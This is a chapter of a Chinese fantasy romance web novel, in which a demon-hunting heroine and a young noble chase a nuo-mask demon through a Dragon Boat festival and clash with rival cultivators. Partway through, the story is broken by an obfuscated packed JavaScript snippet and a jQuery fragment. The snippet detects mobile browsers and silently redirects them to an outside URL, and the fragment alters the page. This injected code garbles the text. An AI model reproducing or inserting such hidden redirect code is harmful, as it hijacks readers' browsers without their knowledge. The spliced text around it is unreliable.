8.傩面

作品:《捡到的书生变鬼王

    班枫指尖颤动,接过那块凉玉,脸颊涨起红晕,湿漉漉的眼睛看向胥绾春,道:


    “你……你以为、你以为打几张情感牌,就能让我折服于你么!妖女,你别太得意,班枫与你……与你势不两立!”


    说着,声音哽咽,握紧手中玉佩,提裙跑远了。


    胥绾春垂眸,扶了扶右肩银针刺入之处,默默站起身。


    穆书愿缓步走来,平静地望班枫,又低头打量胥绾春。显然,心中已理出来龙去脉。


    但他没有多作询问,只是接上方才的微笑,道:“走吧,姐姐。”


    胥绾春点头:“嗯。”


    穆书愿轻唤“告哀”,一根根晶莹的弦丝嗖嗖飞出袖摆,在空中编出一条细绳。他握起胥绾春柔软的手,拉她跃上弦丝绳,飞向高空。


    飘扬的衣摆下,白靴踩得既稳当,又从容,饶是胥绾春前世如此经多见广,也不由得暗叫声好。


    穆书愿虽无灵力,但若单论武艺,怕是不输仙门任何一个平辈,甚至可接他爹穆野数十招。这小子才二十,后生可畏啊。


    此时地面上,傩戏正舞得热闹,班枫抽噎着隐入看戏的人群,胥绾春望了一时,随口道:“你不问问我,拿你的玉佩做了什么?”


    穆书愿闻言,目光不由自主掠过她的右肩,只一瞬,便又收回,驯顺地道:“姐姐做什么,是姐姐的自由,书愿无权干涉。”


    胥绾春没有注意到穆书愿的目光。她不以为然地一笑,片刻,道:“你这个人呢,分明内心淡漠得紧,却偏要装作含情脉脉,温顺可人,如此表里不一,最是令人生厌。”


    “生厌……”


    穆书愿抓住了胥绾春这两个字,但没有伤心,没有恼怒,而是思索。


    方才短短几刻钟,他的心绪一而再再而三地不稳,他想,那种不舒服的感觉,难道是讨厌?


    他讨厌她么?


    他道:“姐姐不也一样?”


    胥绾春:“什么?”


    穆书愿若有所悟地道:“表里不一,令人生厌。”


    胥绾春:…………


    她是不是太宠这小子了?这样得罪人的一句话,他敢说给旁的任何一个人,哪怕是一只路过的蚂蚁吗!


    不过,穆书愿在她面前突然卸下伪装,也不是一次两次了。一个人,唯有面对最亲近的人,才会展露最私密的一面。


    她想,难道穆书愿有些……喜欢她么?


    胥绾春被自己的想法惊到,蓦地转头打量穆书愿。正要说什么,眼前一道黑影闪过,脚下随即失了依托,径直朝下坠去!


    “姐姐!”


    穆书愿想追过去,后腰却被凌妄拦着,不能动弹。


    “姐姐?”


    凌妄剑眉蹙起。


    “公子,那是个妖女!她是不是对你做了什么?你怎么落入她的手里了?你近两月到哪儿去了?主人写信让你回去,你为何不回应?”


    “什么信呀?”穆书愿垂头,掩过目光中的躲闪,“抱歉,凌叔叔,书愿不曾收到父亲的信件。”


    腰身使个巧力,挣脱凌妄保护他的手。


    凌妄不疑有他,喃喃道:“怎么会?不应该啊……”


    穆书愿道:“凌叔叔,书愿照顾得好自己,您忙您的事就好,不必护着书愿。”


    说着便朝胥绾春飞去。


    “公子!”


    凌妄忙追过去。


    胥绾春耷拉着四肢,眼睁睁看自己往下掉,地面吹打弹唱声越来越近,咔嚓几声,身体落进一株大树里,重重压折几根树枝,断枝刺得胳膊腿生疼。


    挂在树梢上,直叫苦。


    凌妄也到了……她这是造了什么孽,上辈子和穆野打交道,这辈子还得一个接一个遇见他们穆家人!


    疼得不想动,忽觉背上痒痒的,滚过一排什么,侧头看过去,就见那群木偶人大摇大摆,排队下了树,向街上人群中进军。


    胥绾春一个激灵弹起来,跃下树梢,跑出两步,脚下一绊,脸朝下摔在地上。


    爬起来一看,腿上绑了缚妖锁,升级版的,不借助外力,一时半会儿别想解开。


    一道黑影呼呼抢在前面,丢下一句:“小妖女,下次再让我发现你欺负公子,就不只是条缚妖锁这么简单了!”


    “姐姐。”


    穆书愿衣带飘飘地跑过来,扶她坐好,半蹲下来,弯腰帮她松绑。


    “抱歉,凌叔叔他,对姐姐有误会,书愿会跟他说的。哦,姐姐放心,凌叔叔本事大得很,有他在,傩面妖一定跑不了。”


    指尖轻轻翻起她衣袖破裂的地方,“磨破皮了,我帮姐姐上药。”说着,便掏出药膏。


    “打住!”胥绾春制止他渐渐亲昵的动作,“胥绾春受不起。”


    第无数次因穆书愿而背黑锅的胥绾春,终于总结出一条经验,她不能靠近穆书愿,会变得不幸。


    “穆公子,”胥绾春站起来,扶着穆书愿肩头,把他摁在地上,“你负责坐在这株大树下乘凉,我过去看看。”


    “姐姐……”


    “别跟着我!你这娇生惯养的小公子,万一磕了碰了,我可担待不起!”


    说着,一溜烟跑了。


    **


    街上吹打之声不绝于耳,民间艺人正沿街搬演傩戏,游人人头挨着人头,随戏班涌动。


    那群木偶人很是聪明,直跟着戏班,往人多的地方跑。胥绾春费了好大力气,终于挤进前排。


    便见那群木偶人窜进内围,排成一排,绕在纷乱的舞步间,钻进傩面舞者的巫袍。


    再从领口钻出来时,它们的身形,融在了那龇牙怒目的傩面之中。


    胥绾春一惊。


    木偶人是那傩面妖的真身,或者说精魂。它能融进去,说明这张傩面,是以那傩面妖的部分躯体做成。


    想来,那傩面妖的躯体是株大树,街上这众多傩面中,用那傩面妖做成的,定然还有不少。


    妖,可吞食人的信奉之力,来增长修为。如今街上成百上千的人,都在为这些傩面喝彩,放任下去,待这几日端阳的热闹结束,这傩面妖修为,至少增长数十倍。


    凌妄此时站在不远处,也意识到这点,喝道:“别跳了!”


    声音用了几分灵力,惹得锣鼓声、喝彩声纷纷停下来,然而,只静了一瞬,便又恢复如初。


    凌妄气得抓头发,胥绾春忍不住嘲笑出声。


    此局无解,只能姑且跟紧这傩面舞者,待游人少一些,再将木偶人逼出来。


    不过,以凌妄这只傻狗的性子,说不定会拱出一条路来。


    胥绾春侧目瞧着,果见凌妄一刻不停,飞身而起。


    周围众游人见了这功夫,连声叫好。下一刻,凌妄停在半空,旋起一脚,直奔那傩面艺人的脸而去。


    “凌叔叔,不要啊!”


    穆书愿才跟来,便见凌妄在捅娄子,连忙出声阻止。


    晚了一步,傩面被踹入高空,艺人惊恐地坐到地上,锣鼓声渐渐停下。


    凌妄正跃起身追过去,众人怒不可遏地吼道:


    “小伙子,你做什么!”


    “他想亵渎神灵!”


    “神灵若是降灾,你拿什么赎罪!”


    “按住他!按住他!”


    人群一哄而上,将凌妄拽下来,拖在地上,拳打脚踢。仙门规定,不可将灵力施于平民百姓,这么多人,单凭武艺,凌妄又打不过。只能一面咒骂,一面受着。


    胥绾春简直心花怒放,蹲下来,隔着众多鞋履,同凌妄对视,做口型:“凌密使,你好狼狈呀。”


    凌妄本来锁着眉头受疼,见状,一双杏眼简直要睁成核桃仁。


    胥绾春嘻嘻一笑,潇洒地站起身,趁穆书愿上前帮凌妄调停,再次甩开他,飞身去追那张傩面。


    **


    傩面在空中乱转几圈,渐渐向着湘水而去。


    临近湘水,又是别一番热闹。街上已无排成长龙的戏班,游人的目光,齐刷刷投向江面。


    十多条龙舟昂首翘尾,阵容俨然,彩旗招展,正蓄势待发。


    沿岸鼓声严整而有力,爆竹声齐响,整条河段硝烟弥漫,笼了一层白雾。


    一座雕龙的大花艇,首先在前开路,游进河道。


    上面载着一尊数丈高的傩面神像,身穿凤鸟纹大红巫袍,凶恶的面容周围,坠满彩绦和铃铛,神秘而瑰丽。


    此为龙舟竞渡优胜者的奖赏。


    胥绾春看过一眼,心中便绷起一根弦。


    那傩面若是融进这座神像,仙门再想收走它,周边百姓,是绝不会答应的。


    速战速决。


    她燃起体内全部灵力,闪现在空中,与傩面正面相对。傩面也不傻,转头就逃。胥绾春目光紧追着它,它转一寸,她便闪身挪一寸,将它拦截得滴水不漏。同时,双手结印,凌空召出三道灵符,一一祭出。


    一道,两道……


    傩面已被打得颤颤巍巍,身体直往下掉。


    然而,第三道才推出,足腕的谪镣,忽生出千钧之力,拖着她朝地面坠去。


    灵符没有打中,最后一刻,被它逃了!


    这是苍梧宫的谪镣,只有苍梧宫的修士能控制。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118796|161675||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    哪个缺心眼啊!她在帮他们捉妖,看不懂吗!!


    胥绾春砸在河边软泥地上,震得脑袋发胀,一时站不起身。


    蹙眉睁开双眼,看见一个紫袍少年,正是方才指责班枫的那修士。


    他眸光闪动着愧疚,低头看胥绾春一时,抬头对不远处道:“空师兄,她毕竟是在帮我们的忙,这样好么?”


    空舞负手走来,道:“他们妖物黑吃黑而已,算不得帮忙。如今傩面妖已负伤,正好,留给你们历练。余师弟,你带大家去追吧。”


    “是,”余衫行礼道,“余衫领命。”


    又悄悄看胥绾春一眼,垂头跑开了。


    空舞百无聊赖地走上前,垂眸看地上的胥绾春,叹道:“也是苦命人。这么多人不喜欢你,你往后,怎么过呢?不如,”他蹲下来,捏胥绾春的下颌,“臣服于我苍梧宫?”


    胥绾春目露嫌恶,微动下巴,错开他的手。


    空舞冷哼一声,默了一时,忽沉声道:“你也配讨厌我?”说着,伸手去提胥绾春的衣襟。


    胥绾春忙在地上滚了几圈,远离他。撑着身子爬起来时,一阵淡墨香送至鼻端,接着,手背有沁凉的触感。


    穆书愿握着她的手,拉她起来,温声道:“姐姐,没事么?还能走么?”


    胥绾春抽出自己的手,低声道:“没事,多谢。”


    空舞迅速收起方才的神色,换了一副正人君子的面容,旁观一时,道:“公子,如何同这妖女有牵扯?”


    凌妄也一瘸一拐走过来,道:“怎么了?公子做什么,你管得着么?”


    空舞道:“岂敢,空舞只是尽朋友之谊,提醒公子,爱惜羽毛。”


    穆书愿道:“多谢空师兄。只是,书愿也须提醒空师兄,这位小娘子是不是妖,还未尝有定论,空师兄如此对待她,亦有损苍梧宫的名誉。”


    凌妄不认同这句话,但面对外人,他自然同自家公子站在一起。他道:“公子说得不错。你身为苍梧宫大弟子,做事欠妥。”


    空舞垂眸,微笑称是。


    凌妄道:“傩面妖呢?”


    空舞道:“空舞让师弟师妹们去追了,此时,应在前方龙舟竞渡河段。”


    凌妄点头,正要前往,忽瞥见穆书愿小心翼翼牵着胥绾春袖口的手。他大步走过去,撞开胥绾春,道:“公子,你和我同去。”


    拉起穆书愿便走。


    穆书愿转头直往后看,道:“姐姐,你来么?”


    还未说完,便被凌妄拽着,闪身没影了。


    **


    胥绾春担忧之事,还是发生了。


    傩面妖已经融进神像,余衫带着一众修士,想尽办法,强行跳上过花艇,找过龙舟会总管,甚至去了趟衙门……结果无一例外,都被轰了出来。


    胥绾春到时,凌妄正同众修士商量,准备参加竞渡,拔得头筹,正大光明领走神像。


    众人于是一起去桥西头,寻管理参赛名单的王婆。


    扣扣扣——


    余衫敲开王婆的木屋。


    吱呀一声,门开了。余衫温声道:“大娘,我们……”


    他忽然止了话音,蓦地睁大双眼,向后退了一步。


    “怎么了,余师兄?”


    后面修士们小声问道。


    余衫摇摇头,道:“没事,只是没想到,大娘已是如此高寿。”


    王婆从门后阴影中迈出,发顶稀疏,后背驼着。烟雾弥漫,衰老的皮肤,却比空中烟雾更白,白得发冷,衬得脸上的老年斑愈发刺目。


    高龄老人,衣着一般并不讲究,她却穿了一身簇新的大红衣裳,是成套的,连绣鞋也是红色。面料光滑,花纹工整。


    从方才始就一直沉默不语的穆书愿,此时眯了眯眼。


    余衫提高嗓音,道:“劳烦大娘,我们想参加龙舟竞渡,敢问方便否?”


    王婆咧嘴呵呵笑起来,露出残缺的牙齿,道:“方便,方便。”


    众修士纷纷轻松地笑起来,余衫道:“多谢大娘!”


    王婆却又收了笑意,道:“但不是人人都方便。”


    慢慢抬起胳膊,伸出一根手指,指向余衫,“你,”又一一指他身后众修士,“你,你,你们……都去不得。”


    余衫苦恼道:“为何啊大娘?”


    王婆拖着嗓音道:“龙舟是通神之物,唯有缘人才能驾驭。”


    凌妄等不及,问道:“那我们之中,谁是有缘人?”


    王婆再次抬起胳膊,手指指了三指。第一指,指向凌妄;第二指,指向穆书愿;第三指,指向胥绾春。